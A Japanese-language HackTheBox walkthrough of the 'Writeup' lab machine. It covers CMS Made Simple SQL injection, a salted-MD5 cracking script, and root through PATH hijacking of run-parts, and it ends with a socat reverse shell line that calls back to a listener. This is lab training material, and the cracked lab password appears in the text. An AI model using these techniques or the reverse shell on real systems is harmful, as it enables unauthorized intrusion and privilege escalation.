🍏

【HackTheBox】Writeup Writeup

2023/05/07に公開

Enumeration

nmap

┌──(kali㉿kali)-[~]
└─$ nmap -sVC -T4 -p- -Pn -open 10.10.10.138
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 00:33 EDT
Nmap scan report for 10.10.10.138
Host is up (0.17s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/writeup/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

sshとhttpが開いています。websiteには/writeup/というディレクトリがあります。

website enumeration


/に40xエラーを出すとbanされると書いてましたので、fuzzingのツールは使えないです。では手動で探索してみます。/writeup/を見てみます。

urlの構造はhttp://10.10.10.138/writeup/index.php?page=ページ名なっていることがわかりました。
pageパラメーターによるLFIの可能性があるので、試してみます。phpが古い場合はnull byte injectionでファイル読めたりするのでhttp://10.10.10.138/writeup/index.php?page=blue.php%00でやってみしたが、ダメでした。

ソースコードを見てみます。

<meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved." />

サイトはCMS Made Simpleで作られていることがわかりました。searchsploitで検索してみたら攻撃できる脆弱性がかなりありましたが、バージョンを調べる必要があります。

┌──(kali㉿kali)-[~]
└─$ searchsploit cms made simple
----------------------------------------------------------------- ---------------------------------
 Exploit Title                                                   |  Path
----------------------------------------------------------------- ---------------------------------
CMS Made Simple (CMSMS) Showtime2 - File Upload Remote Code Exec | php/remote/46627.rb
CMS Made Simple 0.10 - 'index.php' Cross-Site Scripting          | php/webapps/26298.txt
.......(省略).......
CMS Made Simple < 1.12.1 / < 2.1.3 - Web Server Cache Poisoning  | php/webapps/39760.txt
CMS Made Simple < 2.2.10 - SQL Injection                         | php/webapps/46635.py
CMS Made Simple Module Antz Toolkit 1.02 - Arbitrary File Upload | php/webapps/34300.py
CMS Made Simple Module Download Manager 1.4.1 - Arbitrary File U | php/webapps/34298.py
CMS Made Simple Showtime2 Module 3.6.2 - (Authenticated) Arbitra | php/webapps/46546.py
----------------------------------------------------------------- ---------------------------------

CMS Made Simple Version Identification

htmlに2004-2019が書いてあったので、2019のリリースを調べてみました。コアリリースが複数回ありました。(https://docs.cmsmadesimple.org/general-information/core-releases)

version version name release date
2.2.9 Blow Me Down 19-01-2019
2.2.10 Spuzzum 06-03-2019
2.2.11 Vulcan 02-09-2019
2.2.12 Osoyoos 24-09-2019
2.2.13 Moosomin 04-12-2019

2.2.9-2.2.13ならsearchsploitで出てきたものはCMS Made Simple < 2.2.10 - SQL Injectionしかなさそうなので、SQLiを試します。

Foothold

CMS Made Simple SQLi

https://www.exploit-db.com/exploits/46635 のスクリプトを使います。python2のスクリプトになっているので、とりあえずprintを全部直して実行します。

┌──(kali㉿kali)-[~]
└─$ python writeupsqli.py -u http://10.10.10.138/writeup -w /usr/share/wordlists/rockyou.txt -c 

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[*] Try: 62def4866937f08cc13bab43bb14e6f7$
[*] Now try to crack password
Traceback (most recent call last):
  File "/home/kali/writeupsqli.py", line 191, in <module>
    crack_password()
  File "/home/kali/writeupsqli.py", line 54, in crack_password
    for line in dict.readlines():
                ^^^^^^^^^^^^^^^^
  File "<frozen codecs>", line 322, in decode
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xf1 in position 933: invalid continuation byte

実行するとusernameとsaltはわかりましたが、crack passwordのところでencodingのエラーが出ました。指定したwordlistをデコードできなかったみたいなので、utf-8のrockyou.txtを作って、こっちでもう一回実行します。

iconv -f ISO-8859-1 -t UTF-8 /usr/share/wordlists/rockyou.txt > rockyou_utf8.txt
┌──(kali㉿kali)-[~]
└─$ python writeupsqli.py -u http://10.10.10.138/writeup -w ./rockyou_utf8.txt -c 

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[*] Try: 123456
Traceback (most recent call last):
  File "/home/kali/writeupsqli.py", line 191, in <module>
    crack_password()
  File "/home/kali/writeupsqli.py", line 57, in crack_password
    if hashlib.md5(str(salt) + line).hexdigest() == password:
       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: Strings must be encoded before hashing

違うエラーが出てきました。今回はhashlibに渡す文字列の問題みたいです。
このスクリプトを最初から実行すると時間がかかるので、スクリプトの中のcrack_password関数を修正してそこだけ実行することにしました。

Password Cracking

修正したスクリプトでパスワードをクラックします。

crackpw.py
import hashlib
from tqdm import tqdm

salt = "5a599ef579066807"
password = "62def4866937f08cc13bab43bb14e6f7"

def crack():
    words = open("./rockyou_utf8.txt")
    for word in tqdm(words):
        word = word.replace("\n", "")
        salt_word = salt + word
        if hashlib.md5(salt_word.encode("utf-8")).hexdigest() == password:
            print("the password is: ", word)
            break
crack()

パスワードはraykayjay9でした。

jkr, raykayjay9でsshログインして、user flagゲットできました。

Privilege Escalation

Enumeration

jkrユーザーの権限を確認したら、staff groupに入っていることがわかりました。

jkr@writeup:~$ id
uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)

staff groupについて調べてみたところ、「Allows users to add local modifications to the system (/usr/local) without needing root privileges (note that executables in /usr/local/bin are in the PATH variable of any user, and they may "override" the executables in /bin and /usr/bin with the same name). Compare with group "adm", which is more related to monitoring/security.」という情報が出てきました(https://wiki.debian.org/SystemGroups)。/usr/localのwrite権限があるみたいで、PATH hijackingの可能性にも言及したので、試したいと思います。

hijack可能なコマンドを特定するために、pspyで実行されているプロセスを調査します。

pspy Process Snooping

pspyログの一部はこんな感じです。

2023/05/06 07:55:21 CMD: UID=0     PID=1      | init [2]   
2023/05/06 07:55:50 CMD: UID=0     PID=3790   | sshd: [accepted]
2023/05/06 07:55:50 CMD: UID=102   PID=3791   | sshd: [net]       
2023/05/06 07:56:00 CMD: UID=0     PID=3792   | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new   
2023/05/06 07:56:00 CMD: UID=0     PID=3793   | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new   
2023/05/06 07:56:00 CMD: UID=0     PID=3794   | run-parts --lsbsysinit /etc/update-motd.d 
2023/05/06 07:56:00 CMD: UID=0     PID=3795   | uname -rnsom 
2023/05/06 07:56:00 CMD: UID=0     PID=3796   | sshd: jkr [priv]  
2023/05/06 07:56:01 CMD: UID=0     PID=3802   | /usr/sbin/CRON 
2023/05/06 07:56:01 CMD: UID=0     PID=3803   | /usr/sbin/CRON 
2023/05/06 07:56:01 CMD: UID=0     PID=3804   | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1 

cleanup.plを実行する時は絶対パスが指定されていたのでhijackできなさそうです。
run-partsunameならパス指定されてないので、/usr/local/sbinに同じ名前のプログラムを入れたら自作の方が実行されるはずです。
ではrun-partsで試します。

PATH Hijacking

/usr/local/sbinrun-partsを作ります。まずはwhoamiを実行させてみたいと思います。ファイルの権限も設定しますchmod 777 /usr/local/sbin/run-parts

/usr/local/sbin/run-parts
#!/bin/sh
whoami

pspyのログから、ssh loginの時にrun-partsが実行されることがわかりました。なので、terminalもう一つ開いてsshします。

┌──(kali㉿kali)-[~]
└─$ ssh jkr@10.10.10.138
jkr@10.10.10.138's password: 
root

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat May  6 09:12:20 2023 from 10.10.14.5
jkr@writeup:~$

rootがrun-parts実行したことを確認できました。ではwhoamiを書き換えてroot flagをcatさせます。

/usr/local/sbin/run-parts
#!/bin/sh
cat /root/root.txt

Root Flag

もう一回ログインするとroot flagが出力されました。

┌──(kali㉿kali)-[~]
└─$ ssh jkr@10.10.10.138
jkr@10.10.10.138's password: 
a4xxxxxxxxxxxxxxxxxxxxxxxxx9

Root Reverse Shell

root reverse shellも取るならスクリプトの中身をこれに書き換えます。

/usr/local/sbin/run-parts
#!/bin/sh
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:4444

memo

Discussion